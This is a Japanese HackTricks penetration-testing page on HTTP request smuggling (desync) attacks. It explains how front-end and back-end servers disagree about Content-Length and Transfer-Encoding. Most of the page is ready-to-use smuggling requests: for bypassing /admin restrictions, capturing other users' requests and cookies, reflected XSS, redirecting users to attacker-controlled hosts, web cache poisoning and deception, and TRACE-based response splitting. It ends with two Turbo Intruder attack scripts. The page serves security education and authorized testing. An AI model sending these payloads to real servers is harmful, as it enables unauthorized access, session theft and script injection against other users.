HTTP Request Smuggling / HTTP Desync Attack

HackTricksをサポートする

何か

この脆弱性は、フロントエンドプロキシバックエンドサーバー間の非同期化により、攻撃者がHTTP リクエスト送信できる場合に発生します。このリクエストは、フロントエンドプロキシ(ロードバランス/リバースプロキシ)によって単一のリクエストとして解釈されバックエンドサーバーによって2つのリクエストとして解釈されます。 これにより、ユーザーは自分のリクエストの後にバックエンドサーバーに到着する次のリクエストを変更することができます。

理論

RFC仕様 (2161)

メッセージがTransfer-EncodingヘッダーフィールドとContent-Lengthヘッダーフィールドの両方を持って受信された場合、後者は無視されなければなりません。

Content-Length

Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズ(バイト単位)を示します。

Transfer-Encoding: chunked

Transfer-Encodingヘッダーは、ペイロードボディをユーザーに安全に転送するために使用されるエンコーディングの形式を指定します。 Chunkedは、大きなデータが一連のチャンクで送信されることを意味します。

現実

フロントエンド(ロードバランス/リバースプロキシ)は_content-lengthまたはtransfer-encoding_ヘッダーを処理し、バックエンドサーバーは他のものを処理し、2つのシステム間に非同期化を引き起こします。 これは非常に重大な問題であり、攻撃者はリバースプロキシに1つのリクエストを送信でき、それがバックエンドサーバーによって2つの異なるリクエストとして解釈されます。この技術の危険性は、バックエンドサーバーが2番目のリクエストを注入されたものとして解釈し、そのクライアントの実際のリクエストが注入されたリクエストの一部になるという事実にあります。

特異性

HTTPでは新しい行文字は2バイトで構成されています:

  • Content-Length: このヘッダーは、リクエストのボディバイト数を示すために10進数を使用します。ボディは最後の文字で終了することが期待されており、リクエストの最後に新しい行は必要ありません

  • Transfer-Encoding: このヘッダーは、次のチャンクバイト数を示すために16進数を使用します。チャンク新しい行終了しなければなりませんが、この新しい行は長さインジケーターによってカウントされません。この転送方法は、サイズ0のチャンクの後に2つの新しい行で終了しなければなりません: 0

  • Connection: 私の経験に基づいて、リクエストスムーギングの最初のリクエストでは**Connection: keep-alive**を使用することをお勧めします。

基本的な例

Burp Suiteを使用してこれを悪用しようとする場合は、リピーターで**Update Content-LengthNormalize HTTP/1 line endingsを無効にしてください**。一部のガジェットは新しい行、キャリッジリターン、および不正なContent-Lengthを悪用します。

HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーがContent-Length(CL)およびTransfer-Encoding(TE)ヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主にCL.TETE.CL、およびTE.TEとして異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果を引き起こします。

脆弱性タイプの基本的な例

前の表にTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。

CL.TE脆弱性(フロントエンドで使用されるContent-Length、バックエンドで使用されるTransfer-Encoding)

  • フロントエンド (CL): Content-Lengthヘッダーに基づいてリクエストを処理します。

  • バックエンド (TE): Transfer-Encodingヘッダーに基づいてリクエストを処理します。

  • 攻撃シナリオ:

  • 攻撃者は、Content-Lengthヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。

  • フロントエンドサーバーは、Content-Lengthの値に基づいてリクエスト全体をバックエンドに転送します。

  • バックエンドサーバーは、Transfer-Encoding: chunkedヘッダーによりリクエストをチャンクとして処理し、残りのデータを別の後続リクエストとして解釈します。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL脆弱性(フロントエンドで使用されるTransfer-Encoding、バックエンドで使用されるContent-Length)

  • フロントエンド (TE): Transfer-Encodingヘッダーに基づいてリクエストを処理します。

  • バックエンド (CL): Content-Lengthヘッダーに基づいてリクエストを処理します。

  • 攻撃シナリオ:

  • 攻撃者は、チャンクサイズ(7b)と実際のコンテンツ長(Content-Length: 4)が一致しないチャンク化されたリクエストを送信します。

  • フロントエンドサーバーは、Transfer-Encodingを尊重し、リクエスト全体をバックエンドに転送します。

  • バックエンドサーバーは、Content-Lengthを尊重し、リクエストの最初の部分(7bバイト)だけを処理し、残りを意図しない後続リクエストの一部として残します。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE脆弱性(両方で使用されるTransfer-Encoding、難読化を伴う)

  • サーバー: 両方がTransfer-Encodingをサポートしていますが、一方は難読化を介して無視されるように騙される可能性があります。

  • 攻撃シナリオ:

  • 攻撃者は、難読化されたTransfer-Encodingヘッダーを持つリクエストを送信します。

  • どちらのサーバー(フロントエンドまたはバックエンド)が難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。

  • リクエストの未処理部分は、サーバーの1つによって見られ、後続のリクエストの一部となり、スムーギングを引き起こします。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CLシナリオ(フロントエンドとバックエンドの両方で使用されるContent-Length)

  • 両方のサーバーは、Content-Lengthヘッダーのみに基づいてリクエストを処理します。

  • このシナリオは通常、スムーギングには至らず、両方のサーバーがリクエストの長さを解釈する方法に整合性があります。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0シナリオ

  • Content-Lengthヘッダーが存在し、ゼロ以外の値を持ち、リクエストボディにコンテンツがあることを示すシナリオを指します。バックエンドはContent-Lengthヘッダーを無視します(これは0として扱われます)が、フロントエンドはそれを解析します。

  • これは、サーバーがリクエストの終了を決定する方法に影響を与えるため、スムーギング攻撃を理解し、作成する上で重要です。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0シナリオ

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

ウェブサーバーの破壊

この技術は、初期のHTTPデータを読み取る際にウェブサーバーを破壊することが可能なシナリオでも有用ですが、接続を閉じることなく行います。この方法では、HTTPリクエストのボディ次のHTTPリクエストとして扱われます。

例えば、この書き込みで説明されているように、WerkzeugではいくつかのUnicode文字を送信することでサーバーが破壊されることが可能でした。しかし、HTTP接続が**Connection: keep-aliveヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなるため、リクエストのボディ次のHTTPリクエスト**として扱われます。

ホップバイホップヘッダーによる強制

ホップバイホップヘッダーを悪用することで、プロキシにContent-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムージングを悪用することが可能です

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

Finding HTTP Request Smuggling

HTTPリクエストスムーギングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、こうした脆弱性を見つけるために使用できる他の戦略やツールもあります。

Finding CL.TE Vulnerabilities Using Timing Techniques

  • Method:

  • アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • フロントエンドサーバーはContent-Lengthに基づいてリクエストを処理し、メッセージを早期に切り捨てます。

  • バックエンドサーバーはチャンクメッセージを期待しており、決して到着しない次のチャンクを待つため、遅延が発生します。

  • Indicators:

  • タイムアウトや応答の長い遅延。

  • バックエンドサーバーから400 Bad Requestエラーを受信することがあり、時には詳細なサーバー情報が含まれます。

Finding TE.CL Vulnerabilities Using Timing Techniques

  • Method:

  • アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:

  • フロントエンドサーバーはTransfer-Encodingに基づいてリクエストを処理し、メッセージ全体を転送します。

  • バックエンドサーバーはContent-Lengthに基づいてメッセージを期待しており、決して到着しない追加データを待つため、遅延が発生します。

Other Methods to Find Vulnerabilities

  • Differential Response Analysis:

  • リクエストのわずかに異なるバージョンを送信し、サーバーの応答が予期しない方法で異なるかどうかを観察します。これはパースの不一致を示す可能性があります。

  • Using Automated Tools:

  • Burp Suiteの「HTTP Request Smuggler」拡張機能のようなツールは、さまざまな曖昧なリクエストを送信し、応答を分析することでこれらの脆弱性を自動的にテストできます。

  • Content-Length Variance Tests:

  • 実際のコンテンツ長と一致しないさまざまなContent-Length値を持つリクエストを送信し、サーバーがその不一致をどのように処理するかを観察します。

  • Transfer-Encoding Variance Tests:

  • 曖昧または不正なTransfer-Encodingヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがその操作にどのように異なる応答を示すかを監視します。

HTTP Request Smuggling Vulnerability Testing

タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、/へのリクエストが404応答を返すようにします。前述のBasic Examplesで説明したCL.TEおよびTE.CLの例は、クライアントのリクエストを毒して404応答を引き出す方法を示していますが、クライアントは異なるリソースにアクセスしようとしています。

Key Considerations

リクエストスムーギングの脆弱性を他のリクエストに干渉してテストする際には、以下の点に留意してください:

  • Distinct Network Connections: 「攻撃」と「通常」のリクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。

  • Consistent URL and Parameters: 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいて特定のバックエンドサーバーにリクエストをルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まります。これは成功する攻撃の前提条件です。

  • Timing and Racing Conditions: 「通常」のリクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「通常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。

  • Load Balancing Challenges: フロントエンドサーバーがロードバランサーとして機能している場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「通常」のリクエストが異なるシステムに到達した場合、攻撃は成功しません。このロードバランシングの側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。

  • Unintended User Impact: あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「通常」のリクエストではない)に意図せず影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムーギングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、/adminへのアクセスは外部から禁止されている場合があり、フロントエンドプロキシがそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムーグルされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限を回避するための抜け穴が残ります。

以下の例は、HTTPリクエストスムーギングを使用してフロントエンドのセキュリティ制御を回避する方法を示しています。特に、通常フロントエンドプロキシによって保護されている/adminパスをターゲットにしています:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE攻撃では、最初のリクエストにContent-Lengthヘッダーが利用され、次の埋め込まれたリクエストはTransfer-Encoding: chunkedヘッダーを使用します。フロントエンドプロキシは最初のPOSTリクエストを処理しますが、埋め込まれたGET /adminリクエストを検査できず、/adminパスへの不正アクセスを許可します。

TE.CLの例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

逆に、TE.CL攻撃では、最初のPOSTリクエストがTransfer-Encoding: chunkedを使用し、その後の埋め込まれたリクエストはContent-Lengthヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシは密輸されたGET /adminリクエストを見落とし、意図せずに制限された/adminパスへのアクセスを許可します。

フロントエンドリクエストの書き換えを明らかにする

アプリケーションは、通常、フロントエンドサーバーを使用して、バックエンドサーバーに渡す前に受信リクエストを変更します。典型的な変更には、クライアントのIPをバックエンドに中継するためにX-Forwarded-For: <クライアントのIP>のようなヘッダーを追加することが含まれます。これらの変更を理解することは重要であり、保護を回避する方法隠された情報やエンドポイントを明らかにする方法を示す可能性があります。

プロキシがリクエストをどのように変更するかを調査するには、バックエンドがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使用してリクエストを作成します。以下のように:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

この構造では、後続のリクエストコンポーネントが search= の後に追加され、これはレスポンスに反映されるパラメータです。この反映により、後続のリクエストのヘッダーが露出します。

ネストされたリクエストの Content-Length ヘッダーを実際のコンテンツ長に合わせることが重要です。小さな値から始めて徐々に増加させることが推奨されます。値が低すぎると反映されたデータが切り捨てられ、値が高すぎるとリクエストがエラーになる可能性があります。

この技術は TE.CL 脆弱性の文脈でも適用可能ですが、リクエストは search=\r\n0 で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。

この方法は、フロントエンドプロキシによって行われたリクエストの変更を理解するために主に使用され、基本的には自己主導の調査を行います。

他のユーザーのリクエストをキャプチャする

POST 操作中に特定のリクエストをパラメータの値として追加することで、次のユーザーのリクエストをキャプチャすることが可能です。これを実現する方法は次のとおりです:

次のリクエストをパラメータの値として追加することで、後続のクライアントのリクエストを保存できます:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

このシナリオでは、commentパラメータは、公開アクセス可能なページの投稿のコメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。

しかし、この技術には制限があります。一般的に、これはスムーズなリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は&文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の&で停止することを意味し、これはクエリ文字列の一部である可能性さえあります。

さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストはsearch=\r\n0で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。

HTTPリクエストスムージングを使用して反射型XSSを悪用する

HTTPリクエストスムージングは、反射型XSSに脆弱なウェブページを悪用するために利用でき、重要な利点を提供します:

  • 対象ユーザーとの対話は不要です。

  • HTTPリクエストヘッダーのような通常は到達不可能なリクエストの部分でXSSを悪用することができます。

ウェブサイトがUser-Agentヘッダーを介して反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

このペイロードは、脆弱性を悪用するために構成されています:

  1. 一見典型的なPOSTリクエストを開始し、スムーギングの開始を示すTransfer-Encoding: chunkedヘッダーを含めます。

  2. 次に、チャンク化されたメッセージボディの終わりを示す0が続きます。

  3. その後、スムーグルされたGETリクエストが導入され、User-Agentヘッダーにスクリプト<script>alert(1)</script>が注入され、サーバーがこの後続のリクエストを処理する際にXSSがトリガーされます。

スムーギングを通じてUser-Agentを操作することで、ペイロードは通常のリクエスト制約を回避し、標準的ではないが効果的な方法で反射型XSS脆弱性を悪用します。

HTTP/0.9

ユーザーコンテンツが**Content-typetext/plainのレスポンスに反映される場合、XSSの実行が防止されます。サーバーがHTTP/0.9をサポートしている場合、これを回避できる可能性があります**!

HTTP/0.9は以前のバージョンで、1.0の前にあり、GET動詞のみを使用し、ヘッダーではなくボディのみで応答します。

この書き込みでは、リクエストスムーギングとユーザーの入力に応じて応答する脆弱なエンドポイントを使用してHTTP/0.9でリクエストをスムーグルするために悪用されました。レスポンスに反映されるパラメータには**偽のHTTP/1.1レスポンス(ヘッダーとボディを含む)**が含まれていたため、レスポンスにはContent-Typetext/htmlの有効な実行可能JSコードが含まれます。

HTTPリクエストスムーギングを使用したオンサイトリダイレクトの悪用

アプリケーションは、リダイレクトURLのHostヘッダーからホスト名を使用して、あるURLから別のURLにリダイレクトすることがよくあります。これは、ApacheやIISのようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるためにリダイレクトされます:

GET /home HTTP/1.1
Host: normal-website.com

結果は:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

この無害に見える動作は、HTTPリクエストスムージングを使用してユーザーを外部サイトにリダイレクトするように操作できます。例えば:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

この密輸されたリクエストは、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる原因となる可能性があります:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

結果は:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

このシナリオでは、ユーザーのJavaScriptファイルのリクエストがハイジャックされます。攻撃者は、応答として悪意のあるJavaScriptを提供することで、ユーザーを危険にさらす可能性があります。

HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用

ウェブキャッシュポイズニングは、フロントエンドインフラストラクチャがコンテンツをキャッシュする任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、キャッシュをポイズンすることが可能です。

以前、サーバーの応答を変更して404エラーを返す方法を観察しました(基本的な例を参照)。同様に、サーバーを騙して/static/include.jsのリクエストに対して/index.htmlのコンテンツを提供させることも可能です。その結果、/static/include.jsのコンテンツはキャッシュ内で/index.htmlのものに置き換えられ、ユーザーが/static/include.jsにアクセスできなくなり、サービス拒否(DoS)につながる可能性があります。

この技術は、オープンリダイレクトの脆弱性が発見された場合や、オープンリダイレクトへのオンサイトリダイレクトがある場合に特に強力になります。このような脆弱性を利用して、攻撃者の制御下にあるスクリプトで/static/include.jsのキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティング(XSS)攻撃を可能にします。

以下は、キャッシュポイズニングとオープンリダイレクトへのオンサイトリダイレクトを組み合わせた悪用の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために/static/include.jsのキャッシュコンテンツを変更することです:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

埋め込まれたリクエストが /post/next?postId=3 をターゲットにしていることに注意してください。このリクエストは /post?postId=4 にリダイレクトされ、Host ヘッダーの値を利用してドメインを決定します。Host ヘッダーを変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます(オンサイトリダイレクトからオープンリダイレクト)。

成功した ソケットポイズニング の後、/static/include.js に対する GET リクエスト を開始する必要があります。このリクエストは、以前の オンサイトリダイレクトからオープンリダイレクト リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。

その後、/static/include.js に対するリクエストは、攻撃者のスクリプトのキャッシュされた内容を提供し、効果的に広範な XSS 攻撃を開始します。

HTTP リクエストスムージングを使用してウェブキャッシュの欺瞞を実行する

ウェブキャッシュポイズニングとウェブキャッシュの欺瞞の違いは何ですか?

  • ウェブキャッシュポイズニング では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーにキャッシュから提供されます。

  • ウェブキャッシュの欺瞞 では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。

攻撃者は、機密のユーザー固有のコンテンツを取得するためのスムージングリクエストを作成します。次の例を考えてみてください:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

このスムグルされたリクエストが静的コンテンツ(例:/someimage.png)用のキャッシュエントリを汚染すると、被害者の/private/messagesからの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。

HTTPリクエストスムグリングを利用したTRACEの悪用

この投稿では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用することが可能であると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

以下のようなレスポンスを送信します:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

この動作を悪用する例としては、最初にHEADリクエストをスムグルことが挙げられます。このリクエストは、GETリクエストのヘッダーのみで応答されます(その中に**Content-Typeが含まれます)。そして、HEADの直後にTRACEリクエストをスムグルことで、送信されたデータを反映させることができます。 HEADの応答にはContent-Lengthヘッダーが含まれるため、TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることになります。 この応答は接続上の次のリクエストに送信されるため、例えばキャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。

HTTPレスポンス分割を介したTRACEの悪用

この投稿を引き続き参照することが推奨されており、TRACEメソッドを悪用する別の方法が示されています。コメントの通り、HEADリクエストとTRACEリクエストをスムグルことで、HEADリクエストへの応答における一部の反映データを制御することが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストへの応答によって形成されます。

したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることです(これによりキャッシュポイズニングを実行することができます)。

例:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

これらのレスポンスを生成します(HEADレスポンスにContent-Lengthがあることに注意してください。これによりTRACEレスポンスがHEADボディの一部となり、HEAD Content-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTPリクエストスムーギングをHTTPレスポンスデシンクロナイゼーションで武器化する

HTTPリクエストスムーギングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。

HTTP Response Smuggling / Desync

その他のHTTPリクエストスムーギング技術

  • ブラウザHTTPリクエストスムーギング(クライアントサイド)

Browser HTTP Request Smuggling
  • HTTP/2ダウングレードにおけるリクエストスムーギング

Request Smuggling in HTTP/2 Downgrades

ターボイントルーダースクリプト

CL.TE

https://hipotermia.pw/bb/http-desync-idorから

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

ツール

参考文献

HackTricksをサポートする

Last updated